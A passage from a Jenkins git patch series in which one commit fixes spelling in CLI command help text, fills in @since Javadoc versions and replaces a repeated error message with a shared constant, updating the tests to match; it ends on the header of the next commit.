                      '); var iconFilePath = jRoot + '/' + elem.iconFilePathPattern.replace(":size", "48x48"); $([''].join('')).appendTo($icn); -- GitLab From b50034c9bffb704acfce0bc49d99855b689eace6 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 15 Oct 2016 08:34:12 -0700 Subject: [PATCH 382/811] [FIXED JENKINS-38650] - Cleanup spelling in CLi commands + Javadoc updates (#2571) * [FIXED JENKINS-38650] - Cleanup spelling in CLi commands. Also adds some javadoc and since definitions. * [JENKINS-38650] - Move common warning message to the constant * [JENKINS-38650] - DeleteViewCommand should also use the constant string * [JENKINS-38650] - Rename the constant in order to make the name more explicit --- core/src/main/java/hudson/cli/CLICommand.java | 7 +++++++ .../main/java/hudson/cli/CancelQuietDownCommand.java | 2 +- core/src/main/java/hudson/cli/ClearQueueCommand.java | 2 +- core/src/main/java/hudson/cli/ConnectNodeCommand.java | 7 ++++--- core/src/main/java/hudson/cli/DeleteJobCommand.java | 5 +++-- core/src/main/java/hudson/cli/DeleteNodeCommand.java | 7 ++++--- core/src/main/java/hudson/cli/DeleteViewCommand.java | 2 +- .../main/java/hudson/cli/DisconnectNodeCommand.java | 7 ++++--- core/src/main/java/hudson/cli/OfflineNodeCommand.java | 5 +++-- core/src/main/java/hudson/cli/OnlineNodeCommand.java | 5 +++-- core/src/main/java/hudson/cli/QuietDownCommand.java | 2 +- .../java/hudson/cli/ReloadConfigurationCommand.java | 4 ++-- core/src/main/java/hudson/cli/ReloadJobCommand.java | 5 +++-- .../main/java/hudson/cli/WaitNodeOfflineCommand.java | 3 ++- .../main/java/hudson/cli/WaitNodeOnlineCommand.java | 3 ++- .../test/java/hudson/cli/ConnectNodeCommandTest.java | 6 +++--- .../src/test/java/hudson/cli/DeleteJobCommandTest.java | 8 ++++---- .../test/java/hudson/cli/DeleteNodeCommandTest.java | 8 ++++---- .../test/java/hudson/cli/DeleteViewCommandTest.java | 10 +++++----- .../java/hudson/cli/DisconnectNodeCommandTest.java | 6 +++--- .../test/java/hudson/cli/OfflineNodeCommandTest.java | 8 ++++---- .../test/java/hudson/cli/OnlineNodeCommandTest.java | 2 +- .../src/test/java/hudson/cli/ReloadJobCommandTest.java | 8 ++++---- 23 files changed, 69 insertions(+), 53 deletions(-) diff --git a/core/src/main/java/hudson/cli/CLICommand.java b/core/src/main/java/hudson/cli/CLICommand.java index 2f846c2e8c..95cf8dd4f6 100644 --- a/core/src/main/java/hudson/cli/CLICommand.java +++ b/core/src/main/java/hudson/cli/CLICommand.java @@ -124,6 +124,13 @@ public abstract class CLICommand implements ExtensionPoint, Cloneable { */ public transient PrintStream stdout,stderr; + /** + * Shared text, which is reported back to CLI if an error happens in commands + * taking lists of parameters. + * @since TODO + */ + static final String CLI_LISTPARAM_SUMMARY_ERROR_TEXT = "Error occurred while performing this command, see previous stderr output."; + /** * Connected to stdin of the CLI agent. * diff --git a/core/src/main/java/hudson/cli/CancelQuietDownCommand.java b/core/src/main/java/hudson/cli/CancelQuietDownCommand.java index d38a99edd1..24b2ec3018 100644 --- a/core/src/main/java/hudson/cli/CancelQuietDownCommand.java +++ b/core/src/main/java/hudson/cli/CancelQuietDownCommand.java @@ -33,7 +33,7 @@ import java.util.logging.Logger; * Cancel previous quiet down Jenkins - preparation for a restart * * @author pjanouse - * @since TODO + * @since 2.14 */ @Extension public class CancelQuietDownCommand extends CLICommand { diff --git a/core/src/main/java/hudson/cli/ClearQueueCommand.java b/core/src/main/java/hudson/cli/ClearQueueCommand.java index 909e49bff3..8e76a477aa 100644 --- a/core/src/main/java/hudson/cli/ClearQueueCommand.java +++ b/core/src/main/java/hudson/cli/ClearQueueCommand.java @@ -34,7 +34,7 @@ import java.util.logging.Logger; * Clears the build queue * * @author pjanouse - * @since TODO + * @since 1.654 */ @Extension public class ClearQueueCommand extends CLICommand { diff --git a/core/src/main/java/hudson/cli/ConnectNodeCommand.java b/core/src/main/java/hudson/cli/ConnectNodeCommand.java index ff9017a76e..ae20f5e608 100644 --- a/core/src/main/java/hudson/cli/ConnectNodeCommand.java +++ b/core/src/main/java/hudson/cli/ConnectNodeCommand.java @@ -37,13 +37,14 @@ import java.util.List; import java.util.logging.Logger; /** + * Reconnect to a node or nodes. * @author pjanouse - * @since TODO + * @since 2.6 */ @Extension public class ConnectNodeCommand extends CLICommand { - @Argument(metaVar="NAME", usage="Slave name, or empty string for master; comama-separated list is supported", required=true, multiValued=true) + @Argument(metaVar="NAME", usage="Slave name, or empty string for master; comma-separated list is supported", required=true, multiValued=true) private List nodes; @Option(name="-f", usage="Cancel any currently pending connect operation and retry from scratch") @@ -96,7 +97,7 @@ public class ConnectNodeCommand extends CLICommand { } if (errorOccurred) { - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/DeleteJobCommand.java b/core/src/main/java/hudson/cli/DeleteJobCommand.java index 127ec43f6c..642de5a06c 100644 --- a/core/src/main/java/hudson/cli/DeleteJobCommand.java +++ b/core/src/main/java/hudson/cli/DeleteJobCommand.java @@ -34,8 +34,9 @@ import java.util.HashSet; import java.util.logging.Logger; /** + * CLI command, which deletes a job or multiple jobs. * @author pjanouse - * @since TODO + * @since 1.649 */ @Extension public class DeleteJobCommand extends CLICommand { @@ -83,7 +84,7 @@ public class DeleteJobCommand extends CLICommand { } if (errorOccurred) { - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/DeleteNodeCommand.java b/core/src/main/java/hudson/cli/DeleteNodeCommand.java index 5fc70fc764..03001fccc3 100644 --- a/core/src/main/java/hudson/cli/DeleteNodeCommand.java +++ b/core/src/main/java/hudson/cli/DeleteNodeCommand.java @@ -34,13 +34,14 @@ import java.util.List; import java.util.logging.Logger; /** + * CLI command, which deletes Jenkins nodes. * @author pjanouse - * @since TODO + * @since 1.618 */ @Extension public class DeleteNodeCommand extends CLICommand { - @Argument(usage="Nodes name to delete", required=true, multiValued=true) + @Argument(usage="Names of nodes to delete", required=true, multiValued=true) private List nodes; @Override @@ -82,7 +83,7 @@ public class DeleteNodeCommand extends CLICommand { } if (errorOccurred) { - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/DeleteViewCommand.java b/core/src/main/java/hudson/cli/DeleteViewCommand.java index 900e9cdc91..894978e683 100644 --- a/core/src/main/java/hudson/cli/DeleteViewCommand.java +++ b/core/src/main/java/hudson/cli/DeleteViewCommand.java @@ -95,7 +95,7 @@ public class DeleteViewCommand extends CLICommand { } if (errorOccurred) { - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/DisconnectNodeCommand.java b/core/src/main/java/hudson/cli/DisconnectNodeCommand.java index fdf9058050..91265879d1 100644 --- a/core/src/main/java/hudson/cli/DisconnectNodeCommand.java +++ b/core/src/main/java/hudson/cli/DisconnectNodeCommand.java @@ -37,12 +37,13 @@ import java.util.List; import java.util.logging.Logger; /** + * CLI Command, which disconnects nodes. * @author pjanouse - * @since TODO + * @since 2.14 */ @Extension public class DisconnectNodeCommand extends CLICommand { - @Argument(metaVar = "NAME", usage = "Slave name, or empty string for master; comama-separated list is supported", required = true, multiValued = true) + @Argument(metaVar = "NAME", usage = "Slave name, or empty string for master; comma-separated list is supported", required = true, multiValued = true) private List nodes; @Option(name = "-m", usage = "Record the reason about why you are disconnecting this node") @@ -94,7 +95,7 @@ public class DisconnectNodeCommand extends CLICommand { } if (errorOccurred) { - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/OfflineNodeCommand.java b/core/src/main/java/hudson/cli/OfflineNodeCommand.java index b92cee59ca..e003a633b2 100644 --- a/core/src/main/java/hudson/cli/OfflineNodeCommand.java +++ b/core/src/main/java/hudson/cli/OfflineNodeCommand.java @@ -39,8 +39,9 @@ import java.util.HashSet; import java.util.List; /** + * CLI Command, which puts the Jenkins node offline. * @author pjanouse - * @since TODO + * @since 2.15 */ @Extension public class OfflineNodeCommand extends CLICommand { @@ -88,7 +89,7 @@ public class OfflineNodeCommand extends CLICommand { } if (errorOccurred) { - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/OnlineNodeCommand.java b/core/src/main/java/hudson/cli/OnlineNodeCommand.java index 5890ef72e0..5cb190fcd8 100644 --- a/core/src/main/java/hudson/cli/OnlineNodeCommand.java +++ b/core/src/main/java/hudson/cli/OnlineNodeCommand.java @@ -37,8 +37,9 @@ import java.util.HashSet; import java.util.List; /** + * CLI Command, which moves the node to the online state. * @author pjanouse - * @since TODO + * @since 1.642 */ @Extension public class OnlineNodeCommand extends CLICommand { @@ -86,7 +87,7 @@ public class OnlineNodeCommand extends CLICommand { } if (errorOccurred){ - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/QuietDownCommand.java b/core/src/main/java/hudson/cli/QuietDownCommand.java index 76d4b78dd2..4d84055c8d 100644 --- a/core/src/main/java/hudson/cli/QuietDownCommand.java +++ b/core/src/main/java/hudson/cli/QuietDownCommand.java @@ -34,7 +34,7 @@ import java.util.logging.Logger; * Quiet down Jenkins - preparation for a restart * * @author pjanouse - * @since TODO + * @since 2.14 */ @Extension public class QuietDownCommand extends CLICommand { diff --git a/core/src/main/java/hudson/cli/ReloadConfigurationCommand.java b/core/src/main/java/hudson/cli/ReloadConfigurationCommand.java index 35cdad086c..25199ec5be 100644 --- a/core/src/main/java/hudson/cli/ReloadConfigurationCommand.java +++ b/core/src/main/java/hudson/cli/ReloadConfigurationCommand.java @@ -28,10 +28,10 @@ import hudson.Extension; import jenkins.model.Jenkins; /** - * Reload everything from file system + * Reload everything from the file system. * * @author pjanouse - * @since TODO + * @since 2.4 */ @Extension public class ReloadConfigurationCommand extends CLICommand { diff --git a/core/src/main/java/hudson/cli/ReloadJobCommand.java b/core/src/main/java/hudson/cli/ReloadJobCommand.java index 800161b29b..17b0379f73 100644 --- a/core/src/main/java/hudson/cli/ReloadJobCommand.java +++ b/core/src/main/java/hudson/cli/ReloadJobCommand.java @@ -38,8 +38,9 @@ import java.util.logging.Level; import java.util.logging.Logger; /** + * Reloads job from the disk. * @author pjanouse - * @since TODO + * @since 1.633 */ @Extension public class ReloadJobCommand extends CLICommand { @@ -100,7 +101,7 @@ public class ReloadJobCommand extends CLICommand { } if (errorOccurred) { - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java b/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java index 161fe1879d..319e4424a9 100644 --- a/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java +++ b/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java @@ -28,8 +28,9 @@ import hudson.model.Node; import org.kohsuke.args4j.Argument; /** + * CLI command, which waits till the node switches to the offline state. * @author pjanouse - * @since TODO + * @since 2.16 */ @Extension public class WaitNodeOfflineCommand extends CLICommand { diff --git a/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java b/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java index fa33bdd17d..2e9713ad6f 100644 --- a/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java +++ b/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java @@ -28,8 +28,9 @@ import hudson.model.Node; import org.kohsuke.args4j.Argument; /** + * CLI command, which waits till the node switches to the online state. * @author pjanouse - * @since TODO + * @since 2.16 */ @Extension public class WaitNodeOnlineCommand extends CLICommand { diff --git a/test/src/test/java/hudson/cli/ConnectNodeCommandTest.java b/test/src/test/java/hudson/cli/ConnectNodeCommandTest.java index d35aef81c2..ec714605a8 100644 --- a/test/src/test/java/hudson/cli/ConnectNodeCommandTest.java +++ b/test/src/test/java/hudson/cli/ConnectNodeCommandTest.java @@ -64,7 +64,7 @@ public class ConnectNodeCommandTest { assertThat(result, failedWith(6)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("ERROR: user is missing the Agent/Connect permission")); - assertThat(result.stderr(), not(containsString("ERROR: Error occured while performing this command, see previous stderr output."))); + assertThat(result.stderr(), not(containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT))); } @Test public void connectNodeShouldFailIfNodeDoesNotExist() throws Exception { @@ -74,7 +74,7 @@ public class ConnectNodeCommandTest { assertThat(result, failedWith(3)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("ERROR: No such agent \"never_created\" exists.")); - assertThat(result.stderr(), not(containsString("ERROR: Error occured while performing this command, see previous stderr output."))); + assertThat(result.stderr(), not(containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT))); } @Test public void connectNodeShouldSucceed() throws Exception { @@ -156,7 +156,7 @@ public class ConnectNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such agent \"never_created\" exists. Did you mean \"aNode1\"?")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(slave1.toComputer().isOnline(), equalTo(true)); assertThat(slave2.toComputer().isOnline(), equalTo(true)); } diff --git a/test/src/test/java/hudson/cli/DeleteJobCommandTest.java b/test/src/test/java/hudson/cli/DeleteJobCommandTest.java index 1bf3622f99..81a5bb9669 100644 --- a/test/src/test/java/hudson/cli/DeleteJobCommandTest.java +++ b/test/src/test/java/hudson/cli/DeleteJobCommandTest.java @@ -131,7 +131,7 @@ public class DeleteJobCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such job 'never_created'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getItem("aProject1"), nullValue()); assertThat(j.jenkins.getItem("aProject2"), nullValue()); @@ -150,7 +150,7 @@ public class DeleteJobCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such job 'never_created'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getItem("aProject1"), nullValue()); assertThat(j.jenkins.getItem("aProject2"), nullValue()); @@ -169,7 +169,7 @@ public class DeleteJobCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such job 'never_created'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getItem("aProject1"), nullValue()); assertThat(j.jenkins.getItem("aProject2"), nullValue()); @@ -189,7 +189,7 @@ public class DeleteJobCommandTest { assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created1: No such job 'never_created1'")); assertThat(result.stderr(), containsString("never_created2: No such job 'never_created2'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getItem("aProject1"), nullValue()); assertThat(j.jenkins.getItem("aProject2"), nullValue()); diff --git a/test/src/test/java/hudson/cli/DeleteNodeCommandTest.java b/test/src/test/java/hudson/cli/DeleteNodeCommandTest.java index 07ddcdca2a..a75607bc30 100644 --- a/test/src/test/java/hudson/cli/DeleteNodeCommandTest.java +++ b/test/src/test/java/hudson/cli/DeleteNodeCommandTest.java @@ -118,7 +118,7 @@ public class DeleteNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such node 'never_created'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aNode1"), nullValue()); assertThat(j.jenkins.getView("aNode2"), nullValue()); @@ -137,7 +137,7 @@ public class DeleteNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such node 'never_created'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aNode1"), nullValue()); assertThat(j.jenkins.getView("aNode2"), nullValue()); @@ -156,7 +156,7 @@ public class DeleteNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such node 'never_created'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aNode1"), nullValue()); assertThat(j.jenkins.getView("aNode2"), nullValue()); @@ -176,7 +176,7 @@ public class DeleteNodeCommandTest { assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created1: No such node 'never_created1'")); assertThat(result.stderr(), containsString("never_created2: No such node 'never_created2'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aNode1"), nullValue()); assertThat(j.jenkins.getView("aNode2"), nullValue()); diff --git a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java index 732270fccc..d9ff9f708a 100644 --- a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java +++ b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java @@ -175,7 +175,7 @@ public class DeleteViewCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No view named never_created inside view Jenkins")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aView1"), nullValue()); assertThat(j.jenkins.getView("aView2"), nullValue()); @@ -194,7 +194,7 @@ public class DeleteViewCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No view named never_created inside view Jenkins")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aView1"), nullValue()); assertThat(j.jenkins.getView("aView2"), nullValue()); @@ -213,7 +213,7 @@ public class DeleteViewCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No view named never_created inside view Jenkins")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aView1"), nullValue()); assertThat(j.jenkins.getView("aView2"), nullValue()); @@ -233,7 +233,7 @@ public class DeleteViewCommandTest { assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created1: No view named never_created1 inside view Jenkins")); assertThat(result.stderr(), containsString("never_created2: No view named never_created2 inside view Jenkins")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aView1"), nullValue()); assertThat(j.jenkins.getView("aView2"), nullValue()); @@ -267,7 +267,7 @@ public class DeleteViewCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("All: Jenkins does not allow to delete 'All' view")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aView1"), nullValue()); assertThat(j.jenkins.getView("aView2"), nullValue()); diff --git a/test/src/test/java/hudson/cli/DisconnectNodeCommandTest.java b/test/src/test/java/hudson/cli/DisconnectNodeCommandTest.java index 858a3c9ec0..534ef0f0b0 100644 --- a/test/src/test/java/hudson/cli/DisconnectNodeCommandTest.java +++ b/test/src/test/java/hudson/cli/DisconnectNodeCommandTest.java @@ -68,7 +68,7 @@ public class DisconnectNodeCommandTest { assertThat(result, failedWith(6)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("ERROR: user is missing the Agent/Disconnect permission")); - assertThat(result.stderr(), not(containsString("ERROR: Error occured while performing this command, see previous stderr output."))); + assertThat(result.stderr(), not(containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT))); } @Test @@ -79,7 +79,7 @@ public class DisconnectNodeCommandTest { assertThat(result, failedWith(3)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("ERROR: No such agent \"never_created\" exists.")); - assertThat(result.stderr(), not(containsString("ERROR: Error occured while performing this command, see previous stderr output."))); + assertThat(result.stderr(), not(containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT))); } @Test @@ -233,7 +233,7 @@ public class DisconnectNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such agent \"never_created\" exists. Did you mean \"aNode1\"?")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(slave1.toComputer().isOffline(), equalTo(true)); assertThat(slave1.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); assertThat(((OfflineCause.ByCLI) slave1.toComputer().getOfflineCause()).message, equalTo("aCause")); diff --git a/test/src/test/java/hudson/cli/OfflineNodeCommandTest.java b/test/src/test/java/hudson/cli/OfflineNodeCommandTest.java index a1623f853b..0dae4a5657 100644 --- a/test/src/test/java/hudson/cli/OfflineNodeCommandTest.java +++ b/test/src/test/java/hudson/cli/OfflineNodeCommandTest.java @@ -74,7 +74,7 @@ public class OfflineNodeCommandTest { assertThat(result, failedWith(6)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("ERROR: user is missing the Agent/Disconnect permission")); - assertThat(result.stderr(), not(containsString("ERROR: Error occured while performing this command, see previous stderr output."))); + assertThat(result.stderr(), not(containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT))); } @Test @@ -85,7 +85,7 @@ public class OfflineNodeCommandTest { assertThat(result, failedWith(3)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("ERROR: No such agent \"never_created\" exists.")); - assertThat(result.stderr(), not(containsString("ERROR: Error occured while performing this command, see previous stderr output."))); + assertThat(result.stderr(), not(containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT))); } @Test @@ -371,7 +371,7 @@ public class OfflineNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such agent \"never_created\" exists. Did you mean \"aNode1\"?")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(slave1.toComputer().isOffline(), equalTo(true)); assertThat(slave1.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); assertThat(((OfflineCause.ByCLI) slave1.toComputer().getOfflineCause()).message, equalTo(null)); @@ -397,7 +397,7 @@ public class OfflineNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such agent \"never_created\" exists. Did you mean \"aNode1\"?")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(slave1.toComputer().isOffline(), equalTo(true)); assertThat(slave1.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); assertThat(((OfflineCause.ByCLI) slave1.toComputer().getOfflineCause()).message, equalTo("aCause")); diff --git a/test/src/test/java/hudson/cli/OnlineNodeCommandTest.java b/test/src/test/java/hudson/cli/OnlineNodeCommandTest.java index ac10883416..97c84a6e8f 100644 --- a/test/src/test/java/hudson/cli/OnlineNodeCommandTest.java +++ b/test/src/test/java/hudson/cli/OnlineNodeCommandTest.java @@ -253,7 +253,7 @@ public class OnlineNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such agent \"never_created\" exists. Did you mean \"aNode1\"?")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); if (slave1.toComputer().isConnecting()) { System.out.println("Waiting until aNode1 going online is in progress..."); slave1.toComputer().waitUntilOnline(); diff --git a/test/src/test/java/hudson/cli/ReloadJobCommandTest.java b/test/src/test/java/hudson/cli/ReloadJobCommandTest.java index 40869bab3f..2e21dc0b91 100644 --- a/test/src/test/java/hudson/cli/ReloadJobCommandTest.java +++ b/test/src/test/java/hudson/cli/ReloadJobCommandTest.java @@ -181,7 +181,7 @@ public class ReloadJobCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such job \u2018never_created\u2019 exists.")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(project1.scheduleBuild2(0).get().getLog(), containsString("echo 2")); assertThat(project2.scheduleBuild2(0).get().getLog(), containsString("echo 2")); @@ -207,7 +207,7 @@ public class ReloadJobCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such job \u2018never_created\u2019 exists.")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(project1.scheduleBuild2(0).get().getLog(), containsString("echo 2")); assertThat(project2.scheduleBuild2(0).get().getLog(), containsString("echo 2")); @@ -233,7 +233,7 @@ public class ReloadJobCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such job \u2018never_created\u2019 exists.")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(project1.scheduleBuild2(0).get().getLog(), containsString("echo 2")); assertThat(project2.scheduleBuild2(0).get().getLog(), containsString("echo 2")); @@ -260,7 +260,7 @@ public class ReloadJobCommandTest { assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created1: No such job \u2018never_created1\u2019 exists.")); assertThat(result.stderr(), containsString("never_created2: No such job \u2018never_created2\u2019 exists.")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(project1.scheduleBuild2(0).get().getLog(), containsString("echo 2")); assertThat(project2.scheduleBuild2(0).get().getLog(), containsString("echo 2")); -- GitLab From 2a0ac4f0989407a20e277444a7737e9c5f7ea78a Mon Sep 17 00:00:00 2001 From: Akbashev Alexander Date: Sat, 15 Oct 2016 17:35:09 +0200 Subject: [PATCH 383/811] [FIX JENKINS-23244] Slave build history page has no data and spawns a ton of very long-lived blocking threads on the master (#2584) Mainly commit are doing two things: 1) Show only selected (visible) builds 2) Query build one-by-one - not it parallel --- 